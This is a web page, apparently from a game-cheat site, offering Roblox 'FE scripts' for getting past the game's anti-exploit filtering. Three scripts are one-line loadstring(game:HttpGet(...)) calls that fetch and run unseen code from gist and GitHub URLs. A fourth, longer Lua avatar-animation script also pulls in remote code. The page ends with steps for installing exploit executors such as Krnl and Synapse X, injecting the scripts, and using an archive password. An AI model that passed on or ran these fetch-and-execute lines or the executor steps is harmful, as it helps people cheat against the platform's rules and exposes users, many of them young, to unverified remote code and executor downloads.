Roblox Fe Scripts (2023)

There are numerous Roblox Fe scripts available. So, supposing you want to go over the game’s anti-exploit function, here are the finest Roblox Fe scripts.

Roblox is perhaps one of the most successful metaverse businesses. Despite having a large number of competitors, the platform, which was first published in 2006, allows users to play and create a wide range of 3D games.

On Roblox, you’ll find a plethora of hard 3D adventures. As a result, exploits have been used on the platform. As a result, in an effort to combat this type of cheating, Roblox Corporation created a new feature called Filtering Enabled (FE), which prevents client updates from propagating to the server.

To put it another way, Roblox Fe is a type of anti-exploiting feature that prevents clients from changing server settings. It basically prevents a client from altering a game.

Roblox Fe has become the most widely used kind of security for online games all around the world. Assuming you want to tinker with any game for fun, these are some of the most important Roblox Fe scripts to use right now.

Roblox Fe ScriptsPin
Roblox Fe Scripts

Fe Scripts Pastebin

To be honest, there are a plethora of Roblox Fe scripts available on the internet, and the majority of them may make you the envy of your peers. Here are numerous Roblox Fe scripts worth using right now, ranging from lagswitch to fake lag.

Press the blue button at the bottom of the page for more fe scripts. after waiting for a while, you will see the fe scripts that work best. We update our scripts every day.

We also recommend blox fruits scripts, the most popular game of roblox, to you.

SCRİPT 1;

loadstring(game:HttpGet((‘https://gist.githubusercontent.com/Gogogamer61/de8bf177f8ac5d4aa38e0b0f3c18957b/raw/680220619d022f6f44e9df30d13e44068d407708/HEADLESS%2520SCRIPT2’),true))()

SCRİPT 2;

  1. loadstring(game:HttpGet((‘https://raw.githubusercontent.com/Vallater/SyntaxV2/b7a88a7b84174e3c2220c7a8ca477e40699ddd2c/Syntaxontop’),true))()

SCRİPT 3;

  1. loadstring(game:HttpGetAsync(“https://gist.githubusercontent.com/M6HqVBcddw2qaN4s/dabc2500988785fbec1ce7c7aaee105d/raw/hVQJXfF4sR6yqSfJ”))()

SCRİPT 4;

–[[ Hats needed below:
https://www.roblox.com/catalog/3033910400/International-Fedora-Germany
https://www.roblox.com/catalog/6470135113/Fan-Hand-Sign-Why-Dont-We-WDW
https://www.roblox.com/catalog/7548993875/Slasher
made by sandbox#8694
]]–
local HatChar = game.Players.LocalPlayer.Character
local Hat = HatChar:FindFirstChild(“InternationalFedora”)
local Hat2 = HatChar:FindFirstChild(“WDW_FoamFinger”)

Hat2.Handle.SpecialMesh:Destroy()
Hat.Handle.SpecialMesh:Destroy()

 

HumanDied = false
local reanim
function noplsmesh(hat)
_G.OldCF=workspace.Camera.CFrame
oldchar=game.Players.LocalPlayer.Character
game.Players.LocalPlayer.Character=workspace[game.Players.LocalPlayer.Name]
for i,v in next, workspace[game.Players.LocalPlayer.Name][hat]:GetDescendants() do
if v:IsA(‘Mesh’) or v:IsA(‘SpecialMesh’) then
v:Remove()
end
end
game.Players.LocalPlayer.Character=oldchar
wait()
workspace.Camera.CFrame=_G.OldCF
game.Players.LocalPlayer.Character=oldchar
end
_G.ClickFling=false — Set this to true if u want.
loadstring(game:HttpGet((‘https://raw.githubusercontent.com/XeneonPlays/Nexo/main/NexoPD’),true))()

IT = Instance.new
CF = CFrame.new
VT = Vector3.new
RAD = math.rad
C3 = Color3.new
UD2 = UDim2.new
BRICKC = BrickColor.new
ANGLES = CFrame.Angles
EULER = CFrame.fromEulerAnglesXYZ
COS = math.cos
ACOS = math.acos
SIN = math.sin
ASIN = math.asin
ABS = math.abs
MRANDOM = math.random
FLOOR = math.floor

speed = 1
sine = 1
srv = game:GetService(‘RunService’)

function hatset(yes,part,c1,c0,nm)
reanim[yes].Handle.AccessoryWeld.Part1=reanim[part]
reanim[yes].Handle.AccessoryWeld.C1=c1 or CFrame.new()
reanim[yes].Handle.AccessoryWeld.C0=c0 or CFrame.new()–3bbb322dad5929d0d4f25adcebf30aa5
if nm==true then
noplsmesh(yes)
end
end

–put the hat script converted below

reanim = game.Players.LocalPlayer.Character.CWExtra.NexoPD
RJ = reanim.HumanoidRootPart.RootJoint
RS = reanim.Torso[‘Right Shoulder’]
LS = reanim.Torso[‘Left Shoulder’]
RH = reanim.Torso[‘Right Hip’]
LH = reanim.Torso[‘Left Hip’]
Root = reanim.HumanoidRootPart
NECK = reanim.Torso.Neck
NECK.C0 = CF(0,1,0)*ANGLES(RAD(0),RAD(0),RAD(0))
NECK.C1 = CF(0,-0.5,0)*ANGLES(RAD(0),RAD(0),RAD(0))
RJ.C1 = CF(0,0,0)*ANGLES(RAD(0),RAD(0),RAD(0))
RJ.C0 = CF(0,0,0)*ANGLES(RAD(0),RAD(0),RAD(0))
RS.C1 = CF(-0.5,0.5,0)*ANGLES(RAD(0),RAD(0),RAD(0))
LS.C1 = CF(0.5,0.5,0)*ANGLES(RAD(0),RAD(0),RAD(0))
RH.C1 = CF(0,1,0)*ANGLES(RAD(0),RAD(0),RAD(0))
LH.C1 = CF(0,1,0)*ANGLES(RAD(0),RAD(0),RAD(0))
RH.C0 = CF(0,0,0)*ANGLES(RAD(0),RAD(0),RAD(0))
LH.C0 = CF(0,0,0)*ANGLES(RAD(0),RAD(0),RAD(0))
RS.C0 = CF(0,0,0)*ANGLES(RAD(0),RAD(0),RAD(0))
LS.C0 = CF(0,0,0)*ANGLES(RAD(0),RAD(0),RAD(0))

Mode=’1′

mousechanger=game.Players.LocalPlayer:GetMouse().KeyDown:Connect(function(k)
if k == ‘1’ then– first mode
Mode=’1′
elseif k == ‘e’ then– second mode
Mode=’2′
elseif k == ‘urkeybind’ then– third mode
Mode=’3′
end
end)

 

attacklol=game.Players.LocalPlayer:GetMouse().Button1Down:Connect(function()
Mode=’Attack0′
wait(0.1) — time of attack u can edit this
Mode=’Attack1′
wait(0.1)
Mode=’Attack3′
wait(0.4)
Mode =’2′
end)

 

coroutine.wrap(function()
while true do — anim changer
if HumanDied then mousechanger:Disconnect() attacklol:Disconnect() break end
sine = sine + speed
local rlegray = Ray.new(reanim[“Right Leg”].Position + Vector3.new(0, 0.5, 0), Vector3.new(0, -2, 0))
local rlegpart, rlegendPoint = workspace:FindPartOnRay(rlegray, char)
local llegray = Ray.new(reanim[“Left Leg”].Position + Vector3.new(0, 0.5, 0), Vector3.new(0, -2, 0))
local llegpart, llegendPoint = workspace:FindPartOnRay(llegray, char)
local rightvector = (Root.Velocity * Root.CFrame.rightVector).X + (Root.Velocity * Root.CFrame.rightVector).Z
local lookvector = (Root.Velocity * Root.CFrame.lookVector).X + (Root.Velocity * Root.CFrame.lookVector).Z
if lookvector > reanim.Humanoid.WalkSpeed then
lookvector = reanim.Humanoid.WalkSpeed
end
if lookvector < -reanim.Humanoid.WalkSpeed then
lookvector = -reanim.Humanoid.WalkSpeed
end
if rightvector > reanim.Humanoid.WalkSpeed then
rightvector = reanim.Humanoid.WalkSpeed
end
if rightvector < -reanim.Humanoid.WalkSpeed then
rightvector = -reanim.Humanoid.WalkSpeed
end
local lookvel = lookvector / reanim.Humanoid.WalkSpeed
local rightvel = rightvector / reanim.Humanoid.WalkSpeed
if Mode == ‘1’ then
if Root.Velocity.y > 1 then — jump
–jump clerp here
elseif Root.Velocity.y < -1 then — fall
–fall clerp here
elseif Root.Velocity.Magnitude < 2 then — idle
hatset(‘WDW_FoamFinger’,’Torso’,CFrame.new(),reanim[‘WDW_FoamFinger’].Handle.AccessoryWeld.C0:Lerp(CF(0+0*math.cos(sine/13),0.8+0*math.cos(sine/13),-0.8+0*math.cos(sine/13))*ANGLES(RAD(20+5*math.cos(sine/13)),RAD(0+10*math.cos(sine/13)),RAD(0+10*math.cos(sine/13))),1),false)
NECK.C0 = NECK.C0:Lerp(CF(0+0*math.cos(sine/13),1+0*math.cos(sine/13),0+0*math.cos(sine/13))*ANGLES(RAD(0+0*math.cos(sine/13)),RAD(0+0*math.cos(sine/13)),RAD(0+0*math.cos(sine/13))),.3)
RJ.C0 = RJ.C0:Lerp(CF(0+0*math.cos(sine/90),-0.1+0.1*math.cos(sine/90),0+0*math.cos(sine/90))*ANGLES(RAD(10+-3*math.cos(sine/90)),RAD(0+0*math.cos(sine/90)),RAD(0+0*math.cos(sine/90))),.3)
RS.C0 = RS.C0:Lerp(CF(1+0*math.cos(sine/30),0+-0.2*math.cos(sine/30),0+0*math.cos(sine/30))*ANGLES(RAD(200+0*math.cos(sine/30)),RAD(20+0*math.cos(sine/30)),RAD(0+0*math.cos(sine/30))),.3)
LS.C0 = LS.C0:Lerp(CF(-1+0*math.cos(sine/30),0.5+-0.2*math.cos(sine/30),0+0*math.cos(sine/30))*ANGLES(RAD(13+0*math.cos(sine/30)),RAD(49+0*math.cos(sine/30)),RAD(4+0*math.cos(sine/30))),.3)
RH.C0 = RH.C0:Lerp(CF(0.7+0*math.cos(sine/40),-1+0.006*math.cos(sine/40),-0.5+0*math.cos(sine/40))*ANGLES(RAD(-10+0*math.cos(sine/40)),RAD(-45+0*math.cos(sine/40)),RAD(0+0*math.cos(sine/40))),.3)
LH.C0 = LH.C0:Lerp(CF(-0.7+0*math.cos(sine/40),-1+0.06*math.cos(sine/40),-0.5+0*math.cos(sine/40))*ANGLES(RAD(-10+0*math.cos(sine/40)),RAD(45+0*math.cos(sine/40)),RAD(0+0*math.cos(sine/40))),.3)
hatset(‘InternationalFedora’,’Left Arm’,CFrame.new(),reanim[‘InternationalFedora’].Handle.AccessoryWeld.C0:Lerp(CF(0+0*math.cos(sine/13),0.7+0*math.cos(sine/13),0+0*math.cos(sine/13))*ANGLES(RAD(0+0*math.cos(sine/13)),RAD(0+0*math.cos(sine/13)),RAD(0+0*math.cos(sine/13))),1),false)
hatset(‘Back_AccAccessory’,’Right Arm’,CFrame.new(),reanim[‘Back_AccAccessory’].Handle.AccessoryWeld.C0:Lerp(CF(0+0*math.cos(sine/13),2+0*math.cos(sine/13),-0+0*math.cos(sine/13))*ANGLES(RAD(-27+0*math.cos(sine/13)),RAD(20+0*math.cos(sine/13)),RAD(57+0*math.cos(sine/13))),1),false)
elseif Root.Velocity.Magnitude < 20 then — walk
hatset(‘WDW_FoamFinger’,’Torso’,CFrame.new(),reanim[‘WDW_FoamFinger’].Handle.AccessoryWeld.C0:Lerp(CF(0+0*math.cos(sine/13),0.8+0*math.cos(sine/13),-0.8+0*math.cos(sine/13))*ANGLES(RAD(20+5*math.cos(sine/13)),RAD(0+10*math.cos(sine/13)),RAD(0+10*math.cos(sine/13))),1),false)
hatset(‘InternationalFedora’,’Left Arm’,CFrame.new(),reanim[‘InternationalFedora’].Handle.AccessoryWeld.C0:Lerp(CF(0+0*math.cos(sine/13),0.7+0*math.cos(sine/13),0+0*math.cos(sine/13))*ANGLES(RAD(0+0*math.cos(sine/13)),RAD(0+0*math.cos(sine/13)),RAD(0+0*math.cos(sine/13))),1),false)
hatset(‘Back_AccAccessory’,’Right Arm’,CFrame.new(),reanim[‘Back_AccAccessory’].Handle.AccessoryWeld.C0:Lerp(CF(0+0*math.cos(sine/13),2+0*math.cos(sine/13),-0+0*math.cos(sine/13))*ANGLES(RAD(-27+0*math.cos(sine/13)),RAD(20+0*math.cos(sine/13)),RAD(57+0*math.cos(sine/13))),1),false)
NECK.C0 = NECK.C0:Lerp(CF(0+0*math.cos(sine/13),1+0*math.cos(sine/13),0+0*math.cos(sine/13))*ANGLES(RAD(0+0*math.cos(sine/13)),RAD(0+0*math.cos(sine/13)),RAD(0+0*math.cos(sine/13))),.3)
RJ.C0 = RJ.C0:Lerp(CF(0+0*math.cos(sine/90),-0.1+0.1*math.cos(sine/90),0+0*math.cos(sine/90))*ANGLES(RAD(10+-3*math.cos(sine/90)),RAD(0+0*math.cos(sine/90)),RAD(0+0*math.cos(sine/90))),.3)
RS.C0 = RS.C0:Lerp(CF(1+0*math.cos(sine/30),0+-0.2*math.cos(sine/30),0+0*math.cos(sine/30))*ANGLES(RAD(200+0*math.cos(sine/30)),RAD(20+0*math.cos(sine/30)),RAD(0+0*math.cos(sine/30))),.3)
LS.C0 = LS.C0:Lerp(CF(-1+0*math.cos(sine/30),0.5+-0.2*math.cos(sine/30),0+0*math.cos(sine/30))*ANGLES(RAD(13+0*math.cos(sine/30)),RAD(49+0*math.cos(sine/30)),RAD(4+0*math.cos(sine/30))),.3)
RH.C0 = RH.C0:Lerp(CF(0.5+0*math.cos(sine/13),-1+0.006*math.cos(sine/13),0+-0.5*math.cos(sine/13))*ANGLES(RAD(-10+35*math.cos(sine/13)),RAD(0+0*math.cos(sine/13)),RAD(0+0*math.cos(sine/13))),.3)
LH.C0 = LH.C0:Lerp(CF(-0.5+0*math.cos(sine/13),-1+0.06*math.cos(sine/13),0+0.5*math.cos(sine/13))*ANGLES(RAD(-10+-35*math.cos(sine/13)),RAD(0+0*math.cos(sine/13)),RAD(0+0*math.cos(sine/13))),.3)
elseif Root.Velocity.Magnitude > 20 then — run
–run clerp here
end
elseif Mode == ‘2’ then
if Root.Velocity.y > 1 then — jump
–jump clerp here
elseif Root.Velocity.y < -1 then — fall
–fall clerp here
elseif Root.Velocity.Magnitude < 2 then — idle
hatset(‘WDW_FoamFinger’,’Torso’,CFrame.new(),reanim[‘WDW_FoamFinger’].Handle.AccessoryWeld.C0:Lerp(CF(0+0*math.cos(sine/13),0.8+0*math.cos(sine/13),-0.8+0*math.cos(sine/13))*ANGLES(RAD(20+5*math.cos(sine/13)),RAD(0+10*math.cos(sine/13)),RAD(0+10*math.cos(sine/13))),1),false)
NECK.C0 = NECK.C0:Lerp(CF(0+0*math.cos(sine/13),1+0*math.cos(sine/13),0+0*math.cos(sine/13))*ANGLES(RAD(0+0*math.cos(sine/13)),RAD(0+0*math.cos(sine/13)),RAD(0+0*math.cos(sine/13))),.3)
RJ.C0 = RJ.C0:Lerp(CF(0+0*math.cos(sine/15),-0.6+0.05*math.cos(sine/15),0+0*math.cos(sine/15))*ANGLES(RAD(-45+0*math.cos(sine/15)),RAD(0+0*math.cos(sine/15)),RAD(0+0*math.cos(sine/15))),.3)
RS.C0 = RS.C0:Lerp(CF(1+0*math.cos(sine/30),0+0.1*math.cos(sine/30),-0.5+0*math.cos(sine/30))*ANGLES(RAD(145+0*math.cos(sine/30)),RAD(0+0*math.cos(sine/30)),RAD(0+0*math.cos(sine/30))),.3)
LS.C0 = LS.C0:Lerp(CF(-1+0*math.cos(sine/13),0+0*math.cos(sine/13),-1+0*math.cos(sine/13))*ANGLES(RAD(45+0*math.cos(sine/13)),RAD(-5+0*math.cos(sine/13)),RAD(4+0*math.cos(sine/13))),.3)
RH.C0 = RH.C0:Lerp(CF(1+0*math.cos(sine/13),-1+0.05*math.cos(sine/13),0+0*math.cos(sine/13))*ANGLES(RAD(44+0*math.cos(sine/13)),RAD(69+0*math.cos(sine/13)),RAD(-36+0*math.cos(sine/13))),.3)
LH.C0 = LH.C0:Lerp(CF(-1+0*math.cos(sine/13),-1+0.05*math.cos(sine/13),0+0*math.cos(sine/13))*ANGLES(RAD(64+0*math.cos(sine/13)),RAD(131+0*math.cos(sine/13)),RAD(-25+0*math.cos(sine/13))),.3)
hatset(‘Back_AccAccessory’,’Right Arm’,CFrame.new(),reanim[‘Back_AccAccessory’].Handle.AccessoryWeld.C0:Lerp(CF(0+0*math.cos(sine/13),1.6+0*math.cos(sine/13),0+0*math.cos(sine/13))*ANGLES(RAD(-90+0*math.cos(sine/13)),RAD(-3+0*math.cos(sine/13)),RAD(90+0*math.cos(sine/13))),1),false)
elseif Root.Velocity.Magnitude < 20 then — walk
hatset(‘WDW_FoamFinger’,’Torso’,CFrame.new(),reanim[‘WDW_FoamFinger’].Handle.AccessoryWeld.C0:Lerp(CF(0+0*math.cos(sine/13),0.8+0*math.cos(sine/13),-0.8+0*math.cos(sine/13))*ANGLES(RAD(20+5*math.cos(sine/13)),RAD(0+10*math.cos(sine/13)),RAD(0+10*math.cos(sine/13))),1),false)
NECK.C0 = NECK.C0:Lerp(CF(0+0*math.cos(sine/13),1+0*math.cos(sine/13),0+0*math.cos(sine/13))*ANGLES(RAD(0+0*math.cos(sine/13)),RAD(0+0*math.cos(sine/13)),RAD(0+0*math.cos(sine/13))),.3)
RJ.C0 = RJ.C0:Lerp(CF(0+0*math.cos(sine/13),0+0*math.cos(sine/13),0+0*math.cos(sine/13))*ANGLES(RAD(-10+0*math.cos(sine/13)),RAD(0+0*math.cos(sine/13)),RAD(0+0*math.cos(sine/13))),.3)
RS.C0 = RS.C0:Lerp(CF(1+0*math.cos(sine/13),0.3+0*math.cos(sine/13),0+0*math.cos(sine/13))*ANGLES(RAD(0+0*math.cos(sine/13)),RAD(-45+5*math.cos(sine/13)),RAD(45+0*math.cos(sine/13))),.3)
LS.C0 = LS.C0:Lerp(CF(-1+0*math.cos(sine/13),0.5+0*math.cos(sine/13),0+0*math.cos(sine/13))*ANGLES(RAD(0+-35*math.cos(sine/13)),RAD(0+0*math.cos(sine/13)),RAD(0+0*math.cos(sine/13))),.3)
RH.C0 = RH.C0:Lerp(CF(0.5+0*math.cos(sine/13),-1+0*math.cos(sine/13),0+0.3*math.cos(sine/13))*ANGLES(RAD(0+-35*math.cos(sine/13)),RAD(0+0*math.cos(sine/13)),RAD(0+0*math.cos(sine/13))),.3)
LH.C0 = LH.C0:Lerp(CF(-0.5+0*math.cos(sine/13),-1+0*math.cos(sine/13),0+-0.3*math.cos(sine/13))*ANGLES(RAD(0+35*math.cos(sine/13)),RAD(0+0*math.cos(sine/13)),RAD(0+0*math.cos(sine/13))),.3)
hatset(‘Back_AccAccessory’,’Right Arm’,CFrame.new(),reanim[‘Back_AccAccessory’].Handle.AccessoryWeld.C0:Lerp(CF(0.3+0*math.cos(sine/13),1.9+0*math.cos(sine/13),0+0*math.cos(sine/13))*ANGLES(RAD(127+0*math.cos(sine/13)),RAD(134+0*math.cos(sine/13)),RAD(236+0*math.cos(sine/13))),1),false)
elseif Root.Velocity.Magnitude > 20 then — run
–run clerp here
end
elseif Mode == ‘3’ then
if Root.Velocity.y > 1 then — jump
–jump clerp here
elseif Root.Velocity.y < -1 then — fall
–fall clerp here
elseif Root.Velocity.Magnitude < 2 then — idle
–idle clerp here
elseif Root.Velocity.Magnitude < 20 then — walk
–walk clerp here
elseif Root.Velocity.Magnitude > 20 then — run
–run clerp here
end
elseif Mode == ‘Attack0’ then
NECK.C0 = NECK.C0:Lerp(CF(0+0*math.cos(sine/13),1+0*math.cos(sine/13),0+0*math.cos(sine/13))*ANGLES(RAD(0+0*math.cos(sine/13)),RAD(35+0*math.cos(sine/13)),RAD(0+0*math.cos(sine/13))),.3)
RJ.C0 = RJ.C0:Lerp(CF(0+0*math.cos(sine/13),0+0*math.cos(sine/13),0+0*math.cos(sine/13))*ANGLES(RAD(-10+0*math.cos(sine/13)),RAD(-50+0*math.cos(sine/13)),RAD(0+0*math.cos(sine/13))),.3)
RS.C0 = RS.C0:Lerp(CF(1+0*math.cos(sine/13),0.5+0*math.cos(sine/13),-0.5+0*math.cos(sine/13))*ANGLES(RAD(-163+0*math.cos(sine/13)),RAD(0+0*math.cos(sine/13)),RAD(0+0*math.cos(sine/13))),.3)
LS.C0 = LS.C0:Lerp(CF(-1+0*math.cos(sine/13),0.5+0*math.cos(sine/13),0+0*math.cos(sine/13))*ANGLES(RAD(9+0*math.cos(sine/13)),RAD(42+0*math.cos(sine/13)),RAD(0+0*math.cos(sine/13))),.3)
RH.C0 = RH.C0:Lerp(CF(0.5+0*math.cos(sine/13),-1.2+0*math.cos(sine/13),0+0*math.cos(sine/13))*ANGLES(RAD(-2+0*math.cos(sine/13)),RAD(-143+0*math.cos(sine/13)),RAD(-13+0*math.cos(sine/13))),.3)
LH.C0 = LH.C0:Lerp(CF(-0.7+0*math.cos(sine/13),-1+0*math.cos(sine/13),-0.2+0*math.cos(sine/13))*ANGLES(RAD(0+0*math.cos(sine/13)),RAD(51+0*math.cos(sine/13)),RAD(0+0*math.cos(sine/13))),.3)
hatset(‘Back_AccAccessory’,’Right Arm’,CFrame.new(),reanim[‘Back_AccAccessory’].Handle.AccessoryWeld.C0:Lerp(CF(0.5+0*math.cos(sine/13),2+0*math.cos(sine/13),-0.4+0*math.cos(sine/13))*ANGLES(RAD(45+0*math.cos(sine/13)),RAD(-214+0*math.cos(sine/13)),RAD(-74+0*math.cos(sine/13))),1),false)
elseif Mode == ‘Attack1’ then
NECK.C0 = NECK.C0:Lerp(CF(0+0*math.cos(sine/13),1+0*math.cos(sine/13),0+0*math.cos(sine/13))*ANGLES(RAD(0+0*math.cos(sine/13)),RAD(35+0*math.cos(sine/13)),RAD(0+0*math.cos(sine/13))),.3)
RJ.C0 = RJ.C0:Lerp(CF(0+0*math.cos(sine/13),0+0*math.cos(sine/13),0+0*math.cos(sine/13))*ANGLES(RAD(-10+0*math.cos(sine/13)),RAD(-50+0*math.cos(sine/13)),RAD(0+0*math.cos(sine/13))),.3)
RS.C0 = RS.C0:Lerp(CF(0.5+0*math.cos(sine/13),0.8+0*math.cos(sine/13),-0.8+0*math.cos(sine/13))*ANGLES(RAD(-272+0*math.cos(sine/13)),RAD(45+0*math.cos(sine/13)),RAD(-69+0*math.cos(sine/13))),.3)
LS.C0 = LS.C0:Lerp(CF(-1+0*math.cos(sine/13),0.5+0*math.cos(sine/13),0+0*math.cos(sine/13))*ANGLES(RAD(9+0*math.cos(sine/13)),RAD(74+0*math.cos(sine/13)),RAD(-9+0*math.cos(sine/13))),.3)
RH.C0 = RH.C0:Lerp(CF(0.5+0*math.cos(sine/13),-1.2+0*math.cos(sine/13),0+0*math.cos(sine/13))*ANGLES(RAD(-2+0*math.cos(sine/13)),RAD(-143+0*math.cos(sine/13)),RAD(-13+0*math.cos(sine/13))),.3)
LH.C0 = LH.C0:Lerp(CF(-0.7+0*math.cos(sine/13),-1+0*math.cos(sine/13),-0.2+0*math.cos(sine/13))*ANGLES(RAD(0+0*math.cos(sine/13)),RAD(51+0*math.cos(sine/13)),RAD(0+0*math.cos(sine/13))),.3)
hatset(‘Back_AccAccessory’,’Right Arm’,CFrame.new(),reanim[‘Back_AccAccessory’].Handle.AccessoryWeld.C0:Lerp(CF(0.5+0*math.cos(sine/13),2+0*math.cos(sine/13),-0.4+0*math.cos(sine/13))*ANGLES(RAD(36+0*math.cos(sine/13)),RAD(-225+0*math.cos(sine/13)),RAD(-58+0*math.cos(sine/13))),1),false)
elseif Mode == ‘Attack3’ then
NECK.C0 = NECK.C0:Lerp(CF(0+0*math.cos(sine/13),1+0*math.cos(sine/13),0+0*math.cos(sine/13))*ANGLES(RAD(0+0*math.cos(sine/13)),RAD(-35+0*math.cos(sine/13)),RAD(0+0*math.cos(sine/13))),.3)
RJ.C0 = RJ.C0:Lerp(CF(0+0*math.cos(sine/13),0+0*math.cos(sine/13),0+0*math.cos(sine/13))*ANGLES(RAD(-10+0*math.cos(sine/13)),RAD(50+0*math.cos(sine/13)),RAD(0+0*math.cos(sine/13))),.3)
RS.C0 = RS.C0:Lerp(CF(1+0*math.cos(sine/13),0.+0*math.cos(sine/13),-1+0*math.cos(sine/13))*ANGLES(RAD(-7+0*math.cos(sine/13)),RAD(0+0*math.cos(sine/13)),RAD(0+0*math.cos(sine/13))),.3)
LS.C0 = LS.C0:Lerp(CF(-1.5+0*math.cos(sine/13),0.5+0*math.cos(sine/13),0+0*math.cos(sine/13))*ANGLES(RAD(25+0*math.cos(sine/13)),RAD(22+0*math.cos(sine/13)),RAD(0+0*math.cos(sine/13))),.3)
RH.C0 = RH.C0:Lerp(CF(0.5+0*math.cos(sine/13),-1.2+0*math.cos(sine/13),0+0*math.cos(sine/13))*ANGLES(RAD(-2+0*math.cos(sine/13)),RAD(-143+0*math.cos(sine/13)),RAD(-13+0*math.cos(sine/13))),.3)
LH.C0 = LH.C0:Lerp(CF(-0.7+0*math.cos(sine/13),-1+0*math.cos(sine/13),-0.2+0*math.cos(sine/13))*ANGLES(RAD(0+0*math.cos(sine/13)),RAD(51+0*math.cos(sine/13)),RAD(0+0*math.cos(sine/13))),.3)
hatset(‘Back_AccAccessory’,’Right Arm’,CFrame.new(),reanim[‘Back_AccAccessory’].Handle.AccessoryWeld.C0:Lerp(CF(0.5+0*math.cos(sine/13),2+0*math.cos(sine/13),-0.4+0*math.cos(sine/13))*ANGLES(RAD(36+0*math.cos(sine/13)),RAD(-225+0*math.cos(sine/13)),RAD(-58+0*math.cos(sine/13))),1),false)
end
srv.RenderStepped:Wait()
end
end)()

How to Run the Roblox Fe Scripts Listed Above

Before executing scripts in a Roblox game, you’ll need to hire the services of a trustworthy Roblox exploit. There are a plethora of them, including Krnl, Fluxus, Synapse X, and others.

So, if you haven’t already downloaded one, go to our earlier post on the finest Roblox script executor and/or exploit and find anything that works.

Simply enter Roblox after it has been installed, then start a game as well as the exploit that has been downloaded. After that, copy and paste any of the Fe scripts listed above into the executor’s box.

After that, click the Inject/Execute button to bring up the script GUI. Now you can enable the hacks that you want.

Winrar Password: 123

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